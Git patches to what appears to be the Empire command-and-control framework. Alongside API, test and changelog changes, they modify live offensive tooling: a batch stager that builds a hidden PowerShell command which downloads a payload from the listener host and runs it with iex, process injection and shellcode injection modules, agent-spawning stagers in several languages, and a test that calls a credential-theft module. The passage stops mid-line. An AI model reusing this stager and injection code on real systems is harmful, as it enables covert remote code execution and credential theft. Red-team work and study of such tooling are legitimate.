From 712ac4ae402ec6764aad5eec65c3c21a758be25f Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 1 Mar 2023 04:05:50 +0000 Subject: [PATCH 01/17] Modified input (#565) * Add new endpoint for getting the script for a module. Add modified_script functionality to module exection. Add tests * refactor after merge * fix tests * fix for when there is no obfuscation config * allow csharp module modification * Update CHANGELOG.md --- CHANGELOG.md | 2 + empire/server/api/v2/agent/agent_task_dto.py | 1 + empire/server/api/v2/module/module_api.py | 11 ++ empire/server/api/v2/module/module_dto.py | 5 + empire/server/core/agent_task_service.py | 1 + empire/server/core/module_service.py | 46 ++++++- empire/test/test_agent_task_api.py | 32 +++++ empire/test/test_module_api.py | 54 +++++++++ empire/test/test_module_service.py | 121 +++++++++++++++++++ 9 files changed, 271 insertions(+), 2 deletions(-) create mode 100644 empire/test/test_module_service.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 5fcf4ef30..a80254007 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] +- Added a 'modified_input' field to the 'execute module' task (@Vinnybod) +- Added an endpoint to get the script for a module (@Vinnybod) ## [5.0.4] - 2023-02-25 diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index fccae6bf4..502e0247e 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -79,6 +79,7 @@ class ModulePostRequest(BaseModel): ignore_language_version_check: bool = False ignore_admin_check: bool = False options: Dict[str, Union[str, int, float]] + modified_input: Optional[str] = None class DownloadPostRequest(BaseModel): diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py index 57d076d0a..ea0939d13 100644 --- a/empire/server/api/v2/module/module_api.py +++ b/empire/server/api/v2/module/module_api.py @@ -9,6 +9,7 @@ from empire.server.api.v2.module.module_dto import ( Module, ModuleBulkUpdateRequest, + ModuleScript, ModuleUpdateRequest, domain_to_dto_module, ) @@ -65,6 +66,16 @@ async def read_module(uid: str, module: EmpireModule = Depends(get_module)): return domain_to_dto_module(module, uid) +@router.get("/{uid}/script", response_model=ModuleScript) +async def read_module_script(uid: str, module: EmpireModule = Depends(get_module)): + script = module_service.get_module_script(module.id) + + if script: + return ModuleScript(module_id=uid, script=script) + + raise HTTPException(status_code=404, detail=f"Module script not found for id {uid}") + + @router.put("/{uid}", response_model=Module) async def update_module( uid: str, diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py index c35fb9bb4..67449b5de 100644 --- a/empire/server/api/v2/module/module_dto.py +++ b/empire/server/api/v2/module/module_dto.py @@ -66,6 +66,11 @@ class Modules(BaseModel): records: List[Module] +class ModuleScript(BaseModel): + module_id: str + script: str + + class ModuleUpdateRequest(BaseModel): enabled: bool diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 171208941..a37ab3e69 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -299,6 +299,7 @@ def create_task_module( module_req.options, module_req.ignore_language_version_check, module_req.ignore_admin_check, + modified_input=module_req.modified_input, ) if err: diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 1ccafc94e..977c89d50 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -2,6 +2,7 @@ import importlib.util import logging import os +from pathlib import Path from typing import Dict, List, Optional, Tuple import yaml @@ -70,6 +71,7 @@ def execute_module( params: Dict, ignore_language_version_check: bool = False, ignore_admin_check: bool = False, + modified_input: Optional[str] = None, ) -> Tuple[Optional[Dict], Optional[str]]: """ Execute the module. Note this doesn't actually add the task to the queue, @@ -86,6 +88,9 @@ def execute_module( if not module.enabled: return None, "Cannot execute disabled module" + if modified_input: + module = self._create_modified_module(module, modified_input) + cleaned_options, err = self._validate_module_params( module, agent, params, ignore_language_version_check, ignore_admin_check ) @@ -249,6 +254,12 @@ def _generate_script( obfuscation_config = self.obfuscation_service.get_obfuscation_config( db, module.language ) + if not obfuscation_config: + obfuscation_enabled = False + obfuscation_command = None + else: + obfuscation_enabled = obfuscation_config.enabled + obfuscation_command = obfuscation_config.command if module.advanced.custom_generate: # In a future release we could refactor the modules to accept a obuscation_config, @@ -258,8 +269,8 @@ def _generate_script( self.main_menu, module, params, - obfuscation_config.enabled, - obfuscation_config.command, + obfuscation_enabled, + obfuscation_command, ) except Exception as e: log.error(f"Error generating script: {e}", exc_info=True) @@ -404,6 +415,21 @@ def _generate_script_csharp( log.error(f"dotnet compile error: {e}") return None, "dotnet compile error" + def _create_modified_module(self, module: EmpireModule, modified_input: str): + """ + Return a copy of the original module with the input modified. + """ + modified_module = module.copy(deep=True) + modified_module.script = modified_input + modified_module.script_path = None + + if modified_module.language == LanguageEnum.csharp: + compiler_dict = yaml.safe_load(modified_module.compiler_yaml) + compiler_dict[0]["Code"] = modified_input + modified_module.compiler_yaml = yaml.safe_dump(compiler_dict) + + return modified_module + def _load_modules(self, db: Session): """ Load Empire modules. @@ -502,6 +528,22 @@ def _load_module(self, db: Session, yaml_module, root_path, file_path: str): self.modules[self.slugify(module_name)] = my_model self.modules[self.slugify(module_name)].enabled = mod.enabled + def get_module_script(self, module_id: str): + mod: EmpireModule = self.modules.get(module_id) + + if not mod: + return None + + if mod.script_path: + script_path = ( + Path(empire_config.directories.module_source) / mod.script_path + ) + script = script_path.read_text() + else: + script = mod.script + + return script + def get_module_source( self, module_name: str, obfuscate: bool = False, obfuscate_command: str = "" ) -> Tuple[Optional[str], Optional[str]]: diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 79d8b579f..ae860e8d0 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -1,3 +1,5 @@ +from textwrap import dedent + import pytest from empire.test.conftest import base_listener_non_fixture @@ -303,6 +305,36 @@ def test_create_task_module(client, admin_auth_header, agent): assert response.json()["agent_id"] == agent.session_id +def test_create_task_module_modified_input(client, admin_auth_header, agent): + modified_input = dedent( + """ + function Invoke-InternalMonologue { + This is a modified input + } + """ + ).lstrip("\n") + + response = client.post( + f"/api/v2/agents/{agent.session_id}/tasks/module", + headers=admin_auth_header, + json={ + "module_id": "powershell_credentials_invoke_internal_monologue", + "options": { + "Challenge": "1122334455667788", + "Downgrade": "", + "Impersonate": "", + "Restore": "", + }, + "modified_input": modified_input, + }, + ) + + assert response.status_code == 201 + assert response.json()["id"] > 0 + assert response.json()["input"].startswith(modified_input) + assert response.json()["agent_id"] == agent.session_id + + def test_create_task_bof_module_disabled_csharpserver( client, admin_auth_header, agent, bof_download ): diff --git a/empire/test/test_module_api.py b/empire/test/test_module_api.py index 1aa8ff55b..ca9008012 100644 --- a/empire/test/test_module_api.py +++ b/empire/test/test_module_api.py @@ -14,6 +14,42 @@ def test_get_module(client, admin_auth_header): assert response.json()["name"] == "Say" +def test_get_module_script_module_not_found(client, admin_auth_header): + uid = "this_module_does_not_exist" + response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) + + assert response.status_code == 404 + assert response.json()["detail"] == f"Module not found for id {uid}" + + +def test_get_module_script_in_yaml(client, admin_auth_header): + uid = "python_trollsploit_osx_say" + response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) + + assert response.status_code == 200 + assert response.json()["module_id"] == uid + assert response.json()["script"].startswith( + "run_command('say -v {{ Voice }} {{ Text }}')" + ) + + +def test_get_module_script_in_path(client, admin_auth_header): + uid = "powershell_code_execution_invoke_boolang" + response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) + + assert response.status_code == 200 + assert response.json()["module_id"] == uid + assert response.json()["script"].startswith("function Invoke-Boolang") + + +def test_get_module_script_in_generate_function(client, admin_auth_header): + uid = "python_collection_osx_imessage_dump" + response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) + + assert response.status_code == 404 + assert response.json()["detail"] == f"Module script not found for id {uid}" + + def test_get_modules(client, admin_auth_header): response = client.get("/api/v2/modules/", headers=admin_auth_header) @@ -35,6 +71,13 @@ def test_update_module(client, admin_auth_header): assert response.status_code == 200 assert response.json()["enabled"] is False + response = client.put( + f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": True} + ) + + assert response.status_code == 200 + assert response.json()["enabled"] is True + def test_update_modules_bulk(client, admin_auth_header): uids = [ @@ -58,3 +101,14 @@ def test_update_modules_bulk(client, admin_auth_header): assert response.status_code == 200 assert response.json()["enabled"] is False + + response = client.put( + "/api/v2/modules/bulk/enable", + headers=admin_auth_header, + json={ + "enabled": True, + "modules": uids, + }, + ) + + assert response.status_code == 204 diff --git a/empire/test/test_module_service.py b/empire/test/test_module_service.py new file mode 100644 index 000000000..3504f09f4 --- /dev/null +++ b/empire/test/test_module_service.py @@ -0,0 +1,121 @@ +from unittest.mock import Mock + +import pytest + + +@pytest.fixture(scope="module") +def main_menu_mock(db, models): + main_menu = Mock() + main_menu.installPath = db.query(models.Config).first().install_path + main_menu.listeners.activeListeners = {} + main_menu.listeners.listeners = {} + main_menu.obfuscationv2 = Mock() + main_menu.obfuscationv2.get_obfuscation_config = Mock( + return_value=models.ObfuscationConfig( + language="python", command="", enabled=False + ) + ) + main_menu.obfuscationv2.obfuscate_keywords = Mock(side_effect=lambda x: x) + yield main_menu + + +@pytest.fixture(scope="module") +def module_service(main_menu_mock): + from empire.server.core.module_service import ModuleService + + module_service = ModuleService(main_menu=main_menu_mock) + + yield module_service + + +@pytest.fixture(scope="module") +def agent_mock(): + agent_mock = Mock() + agent_mock.session_id = "ABC123" + + yield agent_mock + + +def test_execute_module_script_in_yaml(module_service, agent_mock): + params = { + "Agent": agent_mock.session_id, + "Text": "Hello World", + } + module_id = "python_trollsploit_osx_say" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, None + ) + + assert err is None + script = res["data"] + + assert script == "run_command('say -v alex Hello World')" + + +def test_execute_module_with_script_in_yaml_modified(module_service, agent_mock): + params = { + "Agent": agent_mock.session_id, + "Text": "Hello World", + } + module_id = "python_trollsploit_osx_say" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, "Modified Script: {{ Text }}" + ) + + assert err is None + script = res["data"] + + assert script == "Modified Script: Hello World" + + +def test_execute_module_with_script_in_path(module_service, agent_mock): + params = { + "Agent": agent_mock.session_id, + "BooSource": "Hello World", + } + module_id = "powershell_code_execution_invoke_boolang" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, None + ) + + assert err is None + script = res["data"] + + assert script.startswith("function Invoke-Boolang") + + +def test_execute_module_with_script_in_path_modified(module_service, agent_mock): + params = { + "Agent": agent_mock.session_id, + "BooSource": "Hello World", + } + module_id = "powershell_code_execution_invoke_boolang" + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, "Modified Script: " + ) + + assert err is None + script = res["data"] + + assert script.startswith( + 'Modified Script: Invoke-Boolang -BooSource "Hello World"' + ) + + +def test_execute_module_custom_generate_no_obfuscation_config( + main_menu_mock, module_service, agent_mock +): + params = {"Agent": agent_mock.session_id} + module_id = "python_collection_osx_search_email" + + main_menu_mock.obfuscationv2.get_obfuscation_config = Mock( + side_effect=lambda x, y: None + ) + res, err = module_service.execute_module( + None, agent_mock, module_id, params, True, True, None + ) + + assert err is None + script = res["data"] + + assert script == 'cmd = "find /Users/ -name *.emlx 2>/dev/null"\nrun_command(cmd)' From 79e4b876c47323cc0730b6167fd6406117ba6437 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Wed, 1 Mar 2023 04:07:35 +0000 Subject: [PATCH 02/17] Prepare release 5.1.0 private --- CHANGELOG.md | 7 ++++++- pyproject.toml | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a80254007..48cfa1dd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] + +## [5.1.0] - 2023-03-01 + - Added a 'modified_input' field to the 'execute module' task (@Vinnybod) - Added an endpoint to get the script for a module (@Vinnybod) @@ -417,7 +420,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.4...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.1.0...HEAD + +[5.1.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.4...v5.1.0 [5.0.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.0.3...v5.0.4 diff --git a/pyproject.toml b/pyproject.toml index 6421d782d..749c1c650 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.0.4" +version = "5.1.0" description = "" authors = ["BC Security "] readme = "README.md" From 737e5912c418a5b2f14030bd865fb0b1fd4a4305 Mon Sep 17 00:00:00 2001 From: X0RW3LL Date: Sat, 4 Mar 2023 08:03:37 +0200 Subject: [PATCH 03/17] bump version (#655) --- empire/server/common/empire.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 939ef45c0..084a4de1c 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -37,7 +37,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.0.0-beta2 BC Security Fork" +VERSION = "5.0.4 BC Security Fork" log = logging.getLogger(__name__) From 13273ff61a04ad1dee59544a0e86bfb3cff7d151 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sun, 12 Mar 2023 15:08:35 -0400 Subject: [PATCH 04/17] Fixes for Process Injection and Spawning Agents (#568) * fixed issues with shellcode and processesinjection * added public static functions to powershell and ironpython classes * incrased ironpython oneline time for base64 encoded commands * Formatting * added ironpython and csharp to batch stager * added language option to spawn module * added language to spawnas * added switch for syswow in spawn * updated changelog --- CHANGELOG.md | 7 +++ empire/server/common/stagers.py | 2 +- .../csharp/ProcessInjection.Covenant.py | 16 ++++-- .../csharp/ProcessInjection.Covenant.yaml | 14 +++-- .../modules/csharp/Shellcode.Covenant.py | 9 ++-- .../invoke_reflectivepeinjection.py | 8 +-- .../invoke_reflectivepeinjection.yaml | 6 ++- .../code_execution/invoke_shellcode.py | 36 ++----------- .../modules/powershell/management/spawn.py | 35 +++++++----- .../modules/powershell/management/spawn.yaml | 17 +++++- .../modules/powershell/management/spawnas.py | 1 + .../powershell/management/spawnas.yaml | 9 ++++ empire/server/stagers/CSharpPS.yaml | 2 +- empire/server/stagers/CSharpPy.yaml | 2 +- empire/server/stagers/windows/launcher_bat.py | 53 +++++++++++++------ 15 files changed, 134 insertions(+), 83 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 48cfa1dd8..32210fca9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Added D/Invoke option to Process Injection (@Cx01N) +- Added IronPython and csharp to windows/launcher_bat (@Cx01N) +- Added language option to spawn and spawnas modules (@Cx01N) +- Fixed issue with powershell and ironpython agents not using public classes (@Cx01N) +- Fixed issue where large shellcode files lock up server in Invoke_Shellcode (@Cx01N) +- Increased the default time for base64 encoded ironpython payloads (@Cx01N) + ## [5.1.0] - 2023-03-01 - Added a 'modified_input' field to the 'execute module' task (@Vinnybod) diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 49b7d2f39..a6f6536c6 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -215,7 +215,7 @@ def generate_exe_oneliner( """ if encode: - launcher += "Start-Sleep 5;" + launcher += "Start-Sleep 10;" # Remove comments and make one line launcher = helpers.strip_powershell_comments(launcher) diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.py b/empire/server/modules/csharp/ProcessInjection.Covenant.py index 343edd00f..f6c07938f 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.py +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.py @@ -29,7 +29,6 @@ def generate( launcher_obfuscation_command = params["ObfuscateCommand"] language = params["Language"] dot_net_version = params["DotNetVersion"].lower() - params["parentproc"] arch = params["Architecture"] launcher_obfuscation = params["Obfuscate"] @@ -66,7 +65,7 @@ def generate( directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" shellcode = donut.create(file=directory, arch=arch_type) - elif language.lower() == "python": + elif language.lower() == "ironpython": if dot_net_version == "net35": return ( None, @@ -104,5 +103,16 @@ def generate( + ".compiled" ) - script_end = f",/t:1 /pid:{pid} /f:base64 /sc:{base64_shellcode}" + if params["Technique"] == "Vanilla Process Injection": + t = "1" + elif params["Technique"] == "DLL Injection": + t = "2" + elif params["Technique"] == "Process Hollowing": + t = "3" + elif params["Technique"] == "APC Queue Injection": + t = "4" + elif params["Technique"] == "Dynamic Invoke": + t = "5" + + script_end = f",/t:{t} /pid:{pid} /f:base64 /sc:{base64_shellcode}" return f"{script_file}|{script_end}", None diff --git a/empire/server/modules/csharp/ProcessInjection.Covenant.yaml b/empire/server/modules/csharp/ProcessInjection.Covenant.yaml index 345af1f15..e8a5b68d0 100644 --- a/empire/server/modules/csharp/ProcessInjection.Covenant.yaml +++ b/empire/server/modules/csharp/ProcessInjection.Covenant.yaml @@ -113,7 +113,7 @@ suggested_values: - powershell - csharp - - python + - ironpython - name: Obfuscate description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. @@ -150,10 +150,6 @@ description: Specify the process id. required: false value: '' - - name: parentproc - description: Specify the parent process name. - required: false - value: '' - name: Architecture description: Architecture of the .dll to generate (x64 or x86). required: true @@ -163,5 +159,13 @@ - x64 - x86 - both + - name: Technique + description: Technique to use for process injection. + required: true + value: Vanilla Process Injection + strict: true + suggested_values: + - Vanilla Process Injection + - Dynamic Invoke advanced: custom_generate: true diff --git a/empire/server/modules/csharp/Shellcode.Covenant.py b/empire/server/modules/csharp/Shellcode.Covenant.py index 4ebfcc722..dad1e9e58 100755 --- a/empire/server/modules/csharp/Shellcode.Covenant.py +++ b/empire/server/modules/csharp/Shellcode.Covenant.py @@ -18,9 +18,12 @@ def generate( obfuscate: bool = False, obfuscation_command: str = "", ): - base64_shellcode = main_menu.downloadsv2.get_all( - SessionLocal(), None, params["File"] - )[0][0].get_base64_file() + try: + base64_shellcode = main_menu.downloadsv2.get_all( + SessionLocal(), None, params["File"] + )[0][0].get_base64_file() + except Exception as e: + return None, f"Failed to get base64 encoded shellcode: {e}" compiler = main_menu.pluginsv2.get_by_id("csharpserver") if not compiler.status == "ON": diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 9ee7f2e3a..4fe6189f9 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -27,12 +27,12 @@ def generate( script_end = "\nInvoke-ReflectivePEInjection" - # check if dllpath or PEUrl is set. Both are required params in their respective parameter sets. - if params["DllPath"] == "" and params["PEUrl"] == "": - return handle_error_message("[!] Please provide a PEUrl or DllPath") + # check if file or PEUrl is set. Both are required params in their respective parameter sets. + if params["File"] == "" and params["PEUrl"] == "": + return handle_error_message("[!] Please provide a PEUrl or File") for option, values in params.items(): if option.lower() != "agent": - if option.lower() == "dllpath": + if option.lower() == "file": if values != "": try: f = open(values, "rb") diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml index 6b3e1f279..f1afb4666 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml @@ -26,7 +26,7 @@ options: description: Process ID of the process you want to inject a Dll into. required: false value: '' - - name: DllPath + - name: File description: (Attacker) local path for the PE/DLL to load. required: false value: '' @@ -42,6 +42,10 @@ options: description: Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. required: true value: 'False' + strict: true + suggested_values: + - True + - False - name: ComputerName description: Optional an array of computernames to run the script on. required: false diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index 39b59beb5..213fd6e15 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -6,7 +6,6 @@ from empire.server.core.config import empire_config from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module(object): @@ -27,33 +26,6 @@ def generate( script_end = "\nInvoke-Shellcode -Force" - listener_name = params["Listener"] - if listener_name != "": - if not main_menu.listeners.is_listener_valid(listener_name): - return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # TODO: redo pulling these listener configs... - # Old method no longer working - # temporary fix until a more elegant solution is in place, unless this is the most elegant???? :) - # [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = main_menu.listeners.get_listener(listener_name) - # replacing loadedListeners call with listener_template_service's new_instance method. - # still doesn't seem right though since that's just laoding in the default. -vr - host = main_menu.listenertemplatesv2.new_instance( - "meterpreter" - ).options["Host"] - port = main_menu.listenertemplatesv2.new_instance( - "meterpreter" - ).options["Port"] - - MSFpayload = "reverse_http" - if "https" in host: - MSFpayload += "s" - - hostname = host.split(":")[1].strip("/") - params["Lhost"] = str(hostname) - params["Lport"] = str(port) - params["Payload"] = str(MSFpayload) - for option, values in params.items(): if option.lower() != "agent" and option.lower() != "listener": if values and values != "": @@ -63,11 +35,9 @@ def generate( script_end += " -" + str(option) + " @(" + sc + ")" elif option.lower() == "file": location = Path(empire_config.directories.downloads) / values - with location.open("rb") as bin_data: - shellcode_bin_data = bin_data.read() - sc = "" - for x in range(len(shellcode_bin_data)): - sc += "0x{:02x}".format(shellcode_bin_data[x]) + "," + with open(location, "rb") as f: + byte_array = bytearray(f.read()) + sc = ",".join([f"0x{byte:02x}" for byte in byte_array]) script_end += f" -shellcode @({sc[:-1]})" else: script_end += " -" + str(option) + " " + str(values) diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index bab878a27..2914fed4a 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -22,24 +22,35 @@ def generate( proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] sys_wow64 = params["SysWow64"] + language = params["Language"] + if (params["Obfuscate"]).lower() == "true": launcher_obfuscate = True else: launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] - # generate the launcher script - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + if language == "powershell": + # generate the launcher script + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language=language, + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + elif language in ["csharp", "ironpython"]: + launcher = main_menu.stagers.generate_exe_oneliner( + language=language, + obfuscate=obfuscate, + obfuscation_command=launcher_obfuscate, + encode=True, + listener_name=listener_name, + ) if launcher == "": return handle_error_message("[!] Error in launcher command generation.") diff --git a/empire/server/modules/powershell/management/spawn.yaml b/empire/server/modules/powershell/management/spawn.yaml index bcf6c8997..53130e936 100644 --- a/empire/server/modules/powershell/management/spawn.yaml +++ b/empire/server/modules/powershell/management/spawn.yaml @@ -42,9 +42,13 @@ options: required: false value: mattifestation etw - name: SysWow64 - description: Switch. Spawn a SysWow64 (32-bit) powershell.exe. + description: Spawn a SysWow64 (32-bit) powershell.exe. required: false - value: '' + value: 'False' + strict: true + suggested_values: + - True + - False - name: UserAgent description: User-agent string to use for the staging request (default, none, or other). required: false @@ -57,5 +61,14 @@ options: description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other). required: false value: default + - name: Language + description: Language of the stager to generate. + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython advanced: custom_generate: true diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index 8dfc3e3e7..00a296a10 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -47,6 +47,7 @@ def generate( launcher = main_menu.stagertemplatesv2.new_instance("windows_launcher_bat") launcher.options["Listener"]["Value"] = params["Listener"] launcher.options["Delete"]["Value"] = "True" + launcher.options["Language"]["Value"] = params["Language"] if (params["Obfuscate"]).lower() == "true": launcher.options["Obfuscate"]["Value"] = "True" launcher.options["ObfuscateCommand"]["Value"] = params["ObfuscateCommand"] diff --git a/empire/server/modules/powershell/management/spawnas.yaml b/empire/server/modules/powershell/management/spawnas.yaml index 077335bef..ae1a67e21 100644 --- a/empire/server/modules/powershell/management/spawnas.yaml +++ b/empire/server/modules/powershell/management/spawnas.yaml @@ -61,6 +61,15 @@ options: description: Bypasses as a space separated list to be prepended to the launcher. required: false value: mattifestation etw + - name: Language + description: Language of the stager to generate. + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython script_path: management/Invoke-RunAs.ps1 advanced: custom_generate: true diff --git a/empire/server/stagers/CSharpPS.yaml b/empire/server/stagers/CSharpPS.yaml index 851d44d0b..6c456396b 100644 --- a/empire/server/stagers/CSharpPS.yaml +++ b/empire/server/stagers/CSharpPS.yaml @@ -21,7 +21,7 @@ using System.IO; using System.Reflection; - class Program + public static class Program { public static void Main(string[] args) { diff --git a/empire/server/stagers/CSharpPy.yaml b/empire/server/stagers/CSharpPy.yaml index c9ad70f99..e58316e24 100644 --- a/empire/server/stagers/CSharpPy.yaml +++ b/empire/server/stagers/CSharpPy.yaml @@ -21,7 +21,7 @@ using System.Threading; using CSharpPy; - class Program + public static class Program { [DllImport("kernel32.dll", SetLastError = true)] static extern bool AllocConsole(); diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index 96749c41e..b3d47ac7b 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -34,7 +34,7 @@ def __init__(self, mainMenu, params=[]): "Description": "Language of the stager to generate.", "Required": True, "Value": "powershell", - "SuggestedValues": ["powershell"], + "SuggestedValues": ["powershell", "csharp", "ironpython"], "Strict": True, }, "OutFile": { @@ -66,6 +66,11 @@ def __init__(self, mainMenu, params=[]): "Required": False, "Value": "mattifestation etw", }, + "Timeout": { + "Description": "Time to wait before closing window. Setting to 0 will risk closing the process before it runs.", + "Required": True, + "Value": "10", + }, } # save off a copy of the mainMenu object to access external functionality @@ -84,6 +89,8 @@ def generate(self): obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] bypasses = self.options["Bypasses"]["Value"] + language = self.options["Language"]["Value"] + timeout = self.options["Timeout"]["Value"] if obfuscate.lower() == "true": obfuscate = True @@ -93,26 +100,38 @@ def generate(self): listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name) host = listener.options["Host"]["Value"] - launcher = f"powershell.exe -nol -w 1 -nop -ep bypass \"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('{host}/download/powershell/" + if language == "powershell": + launcher = f"powershell.exe -nol -w 1 -nop -ep bypass \"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('{host}/download/powershell/" - # generate base64 of obfuscate command for first stage - if obfuscate: - launcher_obfuscate_command = f"{obfuscate_command}:" + # generate base64 of obfuscate command for first stage + if obfuscate: + launcher_obfuscate_command = f"{obfuscate_command}:" - else: - launcher_obfuscate_command = ":" + else: + launcher_obfuscate_command = ":" - if bypasses: - launcher_bypasses = f"{bypasses}" - else: - launcher_bypasses = "" + if bypasses: + launcher_bypasses = f"{bypasses}" + else: + launcher_bypasses = "" - launcher_end = base64.b64encode( - (launcher_obfuscate_command + launcher_bypasses).encode("UTF-8") - ).decode("UTF-8") - launcher_end += "') -UseBasicParsing|iex\"" + launcher_end = base64.b64encode( + (launcher_obfuscate_command + launcher_bypasses).encode("UTF-8") + ).decode("UTF-8") + launcher_end += "') -UseBasicParsing|iex\"" - launcher = launcher + launcher_end + launcher = launcher + launcher_end + else: + oneliner = self.mainMenu.stagers.generate_exe_oneliner( + language=language, + obfuscate=obfuscate, + obfuscation_command=obfuscate_command, + encode=True, + listener_name=listener_name, + ) + + oneliner = oneliner.split("-enc ")[1] + launcher = f"powershell.exe -nol -w 1 -nop -ep bypass -enc {oneliner}" if host == "": log.error("[!] Error in launcher command generation.") @@ -121,7 +140,7 @@ def generate(self): else: code = "@echo off\n" code += "start /b " + launcher + "\n" - + code += f"timeout 